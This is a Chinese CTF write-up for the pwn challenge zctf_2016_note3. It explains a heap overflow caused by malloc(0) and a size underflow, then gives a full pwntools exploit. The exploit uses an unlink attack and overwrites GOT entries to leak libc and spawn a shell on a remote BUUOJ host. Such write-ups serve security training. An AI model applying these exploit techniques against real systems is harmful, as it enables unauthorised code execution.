zctf_2016_note3

zctf_2016_note3

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

64位没开pie

int ADD()
{
  int i; // [rsp+Ch] [rbp-14h]
  __int64 size; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 6 && *(&ptr + i); ++i )
    ;
  if ( i == 7 )
    puts("Note is full, add fail");
  puts("Input the length of the note content:(less than 1024)");
  size = READ();
  if ( size < 0 )
    return puts("Length error");
  if ( size > 0x400 )
    return puts("Content is too long");
  v3 = malloc(size);
  puts("Input the note content:");
  READ_((__int64)v3, size, 10);
  *(&ptr + i) = v3;
  BSSPTR[i + 8] = size;
  BSSPTR[0] = (__int64)*(&ptr + i);
  return printf("note add success, the id is %d\n", (unsigned int)i);
}

add这里size能申请0~0x400闭包

int DELE()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

  puts("Input the id of the note:");
  v0 = READ();
  v3 = v0 % 7;
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      free(*(&ptr + v3));
      if ( (void *)BSSPTR[0] == *(&ptr + v3) )
        BSSPTR[0] = 0LL;
      *(&ptr + v3) = 0LL;
      LODWORD(v1) = puts("Delete success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}

dele这里也清空的很干净,没uaf

int EDIT()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

  puts("Input the id of the note:");
  v0 = READ();
  v3 = v0 % 7;
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      puts("Input the new content:");
      READ_((__int64)*(&ptr + v3), BSSPTR[v3 + 8], 10);
      BSSPTR[0] = (__int64)*(&ptr + v3);
      LODWORD(v1) = puts("Edit success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}

edit这里,有一个函数存在溢出(我改了名字READ_

三个参数,分别是malloc chunk 的指针,chunk的size,固定值10

unsigned __int64 __fastcall READ_(__int64 a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

传进去发现,a2-1>i倘若我将a2为0,岂不是能输入很大的一个数,造成溢出

事实上确实可以,因为BSSPTR[i + 8]记录的就是你输入的size,所以这个a2 完全就是我们控制的

然后ptmalloc最小申请的chunk size<0x20也会申请到0x20的chunk,

所以malloc(0)完全是合法的

我们既拿到了合法chunk,也拿到溢出,(一箭双雕x

tag=0x6020d0
add(0,b'a')#0
add(0x30,b'a')#1
add(0x80,b'a')#2
add(0x20,b'a')#3
pl=p64(0)*3+p64(0x41)+p64(0)+p64(0x31)+p64(tag-0x18)+p64(tag-0x10)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,pl)
dele(2)

这里是在chunk1里面伪造了一个fake_chunk并且利用了unlink让chunk2和fake_chunk合并

在这里插入图片描述

合并后

在这里插入图片描述

到了这里,我们已经成功申请到bss上面了,我们将指向chunk 的指针,改成got表

后面就是将对应的got表

free@got-->puts@plt 泄露libc
atoi@got-->system     getshell

exp

from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')   

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28021,"./pwn",0)

tag=0x6020d0
add(0,b'a')#0
add(0x30,b'a')#1
add(0x80,b'a')#2
add(0x20,b'a')#3
pl=p64(0)*3+p64(0x41)+p64(0)+p64(0x31)+p64(tag-0x18)+p64(tag-0x10)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,pl)
dele(2)
#debug()

pl=p64(0)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*2
li(elf.got['atoi'])
edit(1,pl)
#debug()
edit(0,p64(elf.sym['puts'])[:-1])
dele(1)
leak=get_addr_u64()-libc.sym['atoi']
sys=system(leak)
li(leak)
edit(2,p64(sys))
sla(menu,b'/bin/sh\x00')
#debug()
ia()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值